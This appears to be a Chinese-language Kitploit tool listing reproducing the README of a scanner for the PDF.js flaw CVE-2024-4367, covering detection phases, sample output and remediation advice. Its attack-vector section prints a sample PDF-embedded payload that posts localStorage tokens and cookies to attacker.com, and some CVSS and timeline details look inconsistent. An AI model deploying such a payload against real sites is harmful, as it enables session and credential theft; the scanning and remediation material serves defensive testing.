Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
pdf.js-CVE-2024-4367 — CVE-2024-4367 扫描结束 PoC | Kitploit
工具/GitHubGitHub/veronimo669/pdf.js-cve-2024-4367
侦察漏洞扫描器漏洞利用Web应用程序漏洞利用信息收集渗透测试论文与研究学习与教育
GitHubveronimo669/pdf.js-cve-2024-4367

pdf.js-CVE-2024-4367

CVE-2024-4367 扫描结束 PoC

查看仓库
1122个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

🚨 CVE-2024-4367 - 通用 PDF.js 漏洞扫描器

⚠️ 关键安全工具 | 检测 CVE-2024-4367(CVSS 9.8)- PDF.js 远程代码执行漏洞

Version CVSS CVE License

适用于任何网站 - 零配置


📋 目录

  • 📖 概述
  • ⚡ 快速开始
  • 🔍 能检测什么
  • 🛠️ 工作原理
  • 📊 输出示例
  • 🔒 修复指南
  • 🎯 攻击向量
  • 🧪 测试说明
  • 📝 技术细节
  • ⚠️ 法律免责声明
  • 📚 参考资料

📖 概述

CVE-2024-4367 是 PDF.js(版本 < 4.2.67)中的一个关键漏洞,允许通过恶意 PDF 文件执行任意 JavaScript。此扫描器能自动检测任何网站上存在漏洞的 PDF.js 实例。

为何此扫描器与众不同

  • ✅ 零配置 - 立即适用于任何网站
  • ✅ 通用检测 - 扫描所有 JavaScript 包
  • ✅ 无依赖 - 纯 JavaScript
  • ✅ 概念验证 - 生成测试 PDF
  • ✅ 可操作的结果 - 清晰的修复步骤

漏洞详情

PDF.js 存在一个缺陷,即 PDF 文件中嵌入的 JavaScript 未经正确沙箱化即被执行,允许攻击者:

  • 🏴‍☠️ 窃取 localStorage/sessionStorage 中的身份验证令牌
  • 🍪 盗取会话 Cookie
  • 📁 访问本地文件(如果是 Electron/桌面应用)
  • 🔐 利用窃取的凭证以受害者身份执行操作
  • 🌐 通过 XSS 横向移动到内部网络

⚡ 快速开始

方法一:浏览器控制台(最简单)

  1. 打开目标网站
  2. 按 F12 打开开发者工具
  3. 转到控制台标签页
  4. 粘贴整个扫描器脚本
  5. 按 Enter
  6. 在屏幕上查看可视化结果!

方法二:书签脚本

创建一个书签,URL 如下:

root@kitploit:~
javascript:(function(){const s=document.createElement('script');s.src='https://cdn.jsdelivr.net/gh/yourusername/CVE-2024-4367-Scanner/scanner.js';document.body.appendChild(s);})();

方法三:直接下载

root@kitploit:~
git clone https://github.com/yourusername/CVE-2024-4367-Scanner
cd CVE-2024-4367-Scanner
# 打开任何网站并运行脚本

🔍 能检测什么

阶段 1:JavaScript 包扫描

  • ✅ PDF.js 版本检测
  • ✅ 识别存在漏洞的版本(< 4.2.67)
  • ✅ Package.json 引用
  • ✅ Node_modules 路径

阶段 2:PDF 查看器识别

  • ✅ `` PDF 查看器
  • ✅ <embed> 元素
  • ✅ <object> 数据标签
  • ✅ 自定义 PDF 查看器容器
  • ✅ 基于 Canvas 的渲染器

阶段 3:攻击向量

  • ✅ URL 参数(?pdf=、?file=、?src=)
  • ✅ PDF 上传表单
  • ✅ 接受 .pdf 的文件输入字段
  • ✅ 包含 PDF 路径的 API 端点

阶段 4:视觉指示器

  • ✅ 实时漏洞状态
  • ✅ 可下载的概念验证 PDF
  • ✅ 实时 DOM 覆盖层

🛠️ 工作原理

root@kitploit:~
┌─────────────────────────────────────────────────────────────┐
│                    扫描流程                                   │
├─────────────────────────────────────────────────────────────┤
│                                                             │
│  1. 📚 加载脚本                                              │
│     ├─ 外部脚本(所有 <script src="">)                      │
│     └─ 内联脚本(所有 <script> 标签)                        │
│                                                             │
│  2. 🔍 提取 PDF.js 版本                                      │
│     ├─ 代码中的模式匹配                                      │
│     ├─ 检测 Package.json                                     │
│     └─ 解析 Node_modules 路径                                │
│                                                             │
│  3. 🎯 识别漏洞                                              │
│     ├─ 版本 < 4.2.67 ? → 存在漏洞                           │
│     └─ 版本 = 2.16.105 ? → 存在漏洞                         │
│                                                             │
│  4. 🖼️ 定位查看器                                            │
│     ├─ DOM 元素扫描                                          │
│     └─ 属性检测                                              │
│                                                             │
│  5. ⚡ 生成 PoC                                              │
│     ├─ 创建测试 PDF                                          │
│     └─ 提供下载链接                                          │
│                                                             │
│  6. 📊 显示结果                                              │
│     ├─ 可视覆盖层                                            │
│     ├─ 控制台报告                                            │
│     └─ 全局变量存储                                          │
│                                                             │
└─────────────────────────────────────────────────────────────┘

📊 输出示例

控制台输出

root@kitploit:~
╔═══════════════════════════════════════════════════════════════════════════════════╗
║                    CVE-2024-4367 - 通用 PDF.js 扫描器                               ║
║              检测存在漏洞的 PDF.js 版本及潜在攻击方式                                 ║
╚═══════════════════════════════════════════════════════════════════════════════════╝

📚 阶段 1:扫描 JavaScript 包以查找 PDF.js
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
[+] 发现 42 个外部脚本
[+] 发现 12 个内联脚本
   [1/42] 分析中: vendor.bundle.js
      → 发现 PDF.js 指示符: pdfjs-dist
      ✅ 找到 PDF.js 版本: 2.16.105
      🚨 存在 CVE-2024-4367 漏洞!

🎯 阶段 4:识别攻击向量
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
   ⚠️ URL 参数接受 PDF: file=/documents/report.pdf
   ⚠️ 发现 PDF 上传表单

█████████████████████████████████████████████████████████████████████████████████
                          最终扫描报告
█████████████████████████████████████████████████████████████████████████████████

🚨 确认存在严重漏洞!
   CVE: CVE-2024-4367
   CVSS: 9.8(严重)
   影响:任意 JavaScript 执行

可视覆盖层

Scanner Overlay

root@kitploit:~
┌─────────────────────────────────────────────────────────────┐
│  CVE-2024-4367 扫描结果                                     │
│  ━━━━━━━━━━━━━━━━━━━━━━━                                    │
│  📍 目标: example.com                                      │
│  📦 PDF.js: 2.16.105                                       │
│  🎯 存在漏洞: 是                                            │
│  📄 查看器: 3                                               │
│  ⚡ 攻击向量: 2                                             │
│  ━━━━━━━━━━━━━━━━━━━━━━━                                    │
│  🔴 严重 - 需要升级                                        │
└─────────────────────────────────────────────────────────────┘

🔒 修复指南

立即行动

1. 升级 PDF.js(推荐)

root@kitploit:~
# 对于 Node.js 项目
npm install pdfjs-dist@latest

# 对于 CDN 使用
# 更新到 4.2.67 或更高版本

2. 禁用 JavaScript 执行

root@kitploit:~
// 在加载 PDF.js 之前设置
pdfjsLib.GlobalWorkerOptions.disableJavaScript = true;

3. 内容安全策略

root@kitploit:~
Content-Security-Policy: script-src 'self'; 
                        object-src 'none'; 
                        worker-src 'none'

4. 输入验证

root@kitploit:~
// 在渲染前验证 PDF 文件
function validatePDF(file) {
    // 检查魔数
    const header = file.slice(0, 5);
    if (header !== '%PDF-') {
        throw new Error('无效的 PDF 文件');
    }
    
    // 扫描 JavaScript
    const text = file.toString();
    if (text.includes('/JavaScript') || 
        text.includes('/JS') ||
        text.includes('<< /S /JavaScript >>')) {
        throw new Error('PDF 包含 JavaScript');
    }
}

长期解决方案


🎯 攻击向量

检测到的常见向量

  1. URL 参数

    root@kitploit:~
    /viewer?file=malicious.pdf
    /download?pdf=malicious.pdf
    
  2. 文件上传

    root@kitploit:~
    <input type="file" accept=".pdf">
    
  3. 嵌入查看器

    root@kitploit:~
    
    <embed src="malicious.pdf">
    
  4. API 端点

    root@kitploit:~
    /api/documents/123/download
    /api/report/pdf
    

恶意载荷示例

root@kitploit:~
// PDF 嵌入的 JavaScript
this.alert('CVE-2024-4367 已被利用!');
fetch('https://attacker.com/steal', {
    method: 'POST',
    body: JSON.stringify({
        token: localStorage.getItem('token'),
        cookies: document.cookie
    })
});

🧪 测试说明

逐步测试

  1. 安装扫描器

    root@kitploit:~
    git clone https://github.com/yourusername/CVE-2024-4367-Scanner
    
  2. 运行扫描器

    root@kitploit:~
    # 打开目标网站
    # 在控制台中粘贴扫描器
    # 或使用书签脚本
    
  3. 分析结果

    • 查找“存在漏洞”状态
    • 注意 PDF.js 版本
    • 检查攻击向量
  4. 下载 PoC PDF(如果存在漏洞)

    • 点击下载按钮
    • 上传/打开 PDF
    • 观察 JavaScript 执行
  5. 应用修复

    • 升级 PDF.js
    • 实施 CSP
    • 验证输入

预期结果

场景结果
PDF.js 2.16.105🔴 严重
PDF.js 3.x🔴 存在漏洞
PDF.js 4.0.x🔴 存在漏洞
PDF.js 4.2.67+✅ 安全
无 PDF.js

📝 技术细节

版本检查

root@kitploit:~
// 存在漏洞的版本
const VULNERABLE_VERSIONS = [
    { version: '2.16.105', status: '严重' },
    { version: '3.x.x', status: '严重' },
    { version: '4.0.x - 4.2.66', status: '严重' }
];

// 安全版本
const SAFE_VERSION = '4.2.67';

漏洞时间线

日期事件
2024-04-23漏洞发现
2024-04-24分配 CVE-2024-4367
2024-04-25发布补丁(4.2.67)
2024-04-26公开披露
2024-05-01

CVSS 分数分解


⚠️ 法律免责声明

重要提示:此工具仅用于授权的安全测试和教育目的。

  • ✅ 可以在您自己的网站上使用
  • ✅ 可以在获得明确许可的情况下使用
  • ✅ 可以用于安全研究
  • ❌ 不得在未经授权的系统上使用
  • ❌ 不得用于恶意目的

作者对此工具的任何误用或造成的损害不承担责任。


📚 参考资料

官方资源

  • CVE-2024-4367 - NIST NVD
  • PDF.js 安全公告
  • Mozilla 安全博客

相关漏洞

  • CVE-2024-4367 - PDF.js RCE
  • CVE-2023-xxxx - 之前的 PDF.js 问题
  • 通过 PDF.js 在 Web 应用中的 XSS

工具与资源

  • PDF.js 官方仓库
  • OWASP XSS 防护
  • CSP 参考

研究论文

  • PDF.js 安全分析
  • 客户端 PDF 渲染风险

🤝 贡献

欢迎贡献!请:

  1. Fork 该仓库
  2. 创建功能分支
  3. 提交 Pull Request
  4. 遵循代码风格

开发环境设置

root@kitploit:~
git clone https://github.com/yourusername/CVE-2024-4367-Scanner
cd CVE-2024-4367-Scanner
# 进行您的更改
# 在多个网站上测试
# 提交 PR

📄 许可证

本项目采用 MIT 许可证 - 详见 LICENSE 文件。


🌟 支持

如果您觉得这个工具有用:

  • ⭐ 给仓库加星
  • 🐛 报告问题
  • 📝 编写文档
  • 🔧 提交修复

🛡️ 保持安全。及早测试。经常测试。

由安全社区 ❤️ 制作

报告问题 • 在 GitHub 上加星 • 阅读文档

下载工具
解决方案难度效果
升级 PDF.js简单✅ 完全修复
在 PDF.js 中禁用 JS简单✅ 完全修复
实施 CSP中等✅ 良好
服务器端验证中等✅ 良好
沙箱化渲染困难✅ 优秀
ℹ️ 安全
观察到利用尝试
组件分数
攻击向量网络(9.8)
攻击复杂度低(9.8)
所需权限无(9.8)
用户交互需要(8.8)
范围已改变(9.1)
机密性高(9.8)
完整性高(9.8)
可用性高(9.8)
总分9.8(严重)